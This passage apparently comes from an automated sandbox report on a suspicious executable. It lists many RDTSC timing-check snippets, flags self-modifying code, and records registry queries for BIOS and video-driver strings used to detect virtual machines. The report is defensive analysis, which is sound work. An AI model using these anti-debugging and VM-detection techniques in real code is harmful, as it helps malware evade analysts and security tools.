Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BDCD6 second address: 12BDCDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BDCDA second address: 12BDCF4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F39A52A2E5Ch 0x0000000d jng 00007F39A52A2E56h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BDCF4 second address: 12BDCFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE1EF second address: 12BE20C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jl 00007F39A52A2E56h 0x00000009 jno 00007F39A52A2E56h 0x0000000f pop ebx 0x00000010 pushad 0x00000011 jmp 00007F39A52A2E5Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE51E second address: 12BE529 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jno 00007F39A52A77C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE529 second address: 12BE545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c pushad 0x0000000d ja 00007F39A52A2E56h 0x00000013 pushad 0x00000014 popad 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE7AD second address: 12BE7B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE7B3 second address: 12BE7C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ebx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C27E9 second address: 12C2809 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F39A52A77D9h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2809 second address: 12C2837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F39A52A2E5Fh 0x0000000b jmp 00007F39A52A2E5Ch 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jbe 00007F39A52A2E8Eh 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2837 second address: 12C283B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2AFE second address: 12C2B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jno 00007F39A52A2E56h 0x0000000d popad 0x0000000e jns 00007F39A52A2E5Ch 0x00000014 popad 0x00000015 push esi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C3144 second address: 12C3158 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A77CCh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7EF2 second address: 12C7EF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7EF8 second address: 12C7EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7EFC second address: 12C7F00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CFB17 second address: 12CFB30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A77D5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CFB30 second address: 12CFB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F39A52A2E5Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F39A52A2E63h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CFDBE second address: 12CFE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F39A52A77DFh 0x0000000a pushad 0x0000000b jbe 00007F39A52A77C6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 push edi 0x00000016 jmp 00007F39A52A77D4h 0x0000001b push eax 0x0000001c ja 00007F39A52A77C6h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CFF62 second address: 12CFF71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F39A52A2E56h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D00D2 second address: 12D00D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D00D6 second address: 12D00E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A2E5Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D00E8 second address: 12D0113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F39A52A77CCh 0x0000000b jmp 00007F39A52A77D0h 0x00000010 push esi 0x00000011 jg 00007F39A52A77C6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0263 second address: 12D0274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007F39A52A2E56h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0274 second address: 12D0284 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F39A52A77CEh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D06B6 second address: 12D06C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jo 00007F39A52A2E56h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D06C8 second address: 12D06DB instructions: 0x00000000 rdtsc 0x00000002 jc 00007F39A52A77C6h 0x00000008 jns 00007F39A52A77C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D06DB second address: 12D06EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F39A52A2E56h 0x0000000a jnl 00007F39A52A2E56h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D06EC second address: 12D06FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F39A52A77C6h 0x00000009 jg 00007F39A52A77C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0F94 second address: 12D0F9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0F9A second address: 12D0F9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0F9F second address: 12D0FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push ecx 0x0000000c jmp 00007F39A52A2E66h 0x00000011 jo 00007F39A52A2E56h 0x00000017 pop ecx 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0FCE second address: 12D0FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0FD4 second address: 12D0FDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0FDD second address: 12D0FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D6E76 second address: 12D6E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a je 00007F39A52A2E56h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D6E87 second address: 12D6E9D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007F39A52A77C6h 0x00000009 jnp 00007F39A52A77C6h 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D6E9D second address: 12D6EA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D9A4B second address: 12D9A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D9A51 second address: 12D9A57 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D9889 second address: 12D988D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D988D second address: 12D98C1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F39A52A2E56h 0x00000008 js 00007F39A52A2E56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F39A52A2E62h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F39A52A2E5Ch 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EA676 second address: 12EA6A5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F39A52A77D9h 0x00000008 jnp 00007F39A52A77CCh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EA6A5 second address: 12EA6BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F39A52A2E60h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EA6BF second address: 12EA6C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EA6C5 second address: 12EA6D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F39A52A2E56h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F96D0 second address: 12F96E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F39A52A77C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jc 00007F39A52A77C6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13012A3 second address: 13012A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13016B7 second address: 13016CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A77D2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301969 second address: 130196D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130196D second address: 1301971 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301AD7 second address: 1301AFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A2E61h 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F39A52A2E5Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301C79 second address: 1301C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F39A52A77CBh 0x0000000a jmp 00007F39A52A77CEh 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13061D6 second address: 13061E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F39A52A2E56h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13061E2 second address: 13061E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305D10 second address: 1305D17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305D17 second address: 1305D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305ED5 second address: 1305EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F39A52A2E5Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C472 second address: 130C476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C476 second address: 130C48E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F39A52A2E62h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1313B2C second address: 1313B3A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F39A52A77C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1313B3A second address: 1313B3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13110E6 second address: 13110EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B3DD second address: 121B3E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1320D09 second address: 1320D4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007F39A52A77C6h 0x0000000b jmp 00007F39A52A77CEh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jmp 00007F39A52A77D9h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jg 00007F39A52A77DEh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1320D4A second address: 1320D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A2E62h 0x00000009 jmp 00007F39A52A2E5Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332386 second address: 13323A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jns 00007F39A52A77CCh 0x0000000d pop ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F39A52A77C6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13323A3 second address: 13323A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133266B second address: 1332677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F39A52A77C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332677 second address: 133267B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133267B second address: 1332688 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332688 second address: 133268D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133268D second address: 1332692 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332DC6 second address: 1332DCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332DCA second address: 1332DD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332DD0 second address: 1332DDA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332DDA second address: 1332DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1332DE0 second address: 1332DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133309B second address: 133309F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13360FF second address: 1336103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1336103 second address: 1336113 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F39A52A77C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push ebx 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1336113 second address: 1336130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 nop 0x00000007 mov edx, 0A676104h 0x0000000c push 00000004h 0x0000000e mov dword ptr [ebp+122D1922h], ebx 0x00000014 push 6D5136CDh 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1336130 second address: 133613B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133613B second address: 133613F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13392FF second address: 1339307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338EA9 second address: 1338EC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39A52A2E63h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A02D3 second address: 59A031A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F39A52A77CFh 0x00000009 adc al, 0000003Eh 0x0000000c jmp 00007F39A52A77D9h 0x00000011 popfd 0x00000012 mov ch, 71h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 jmp 00007F39A52A77CAh 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A031A second address: 59A031E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A031E second address: 59A0322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A0322 second address: 59A0328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A0328 second address: 59A032E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125BF83 second address: 125BF87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125BF87 second address: 125BF90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10A1CC9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 124C32F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 109F2F2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1275A8F instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01248B89 rdtsc

0_2_01248B89

Source: all processes

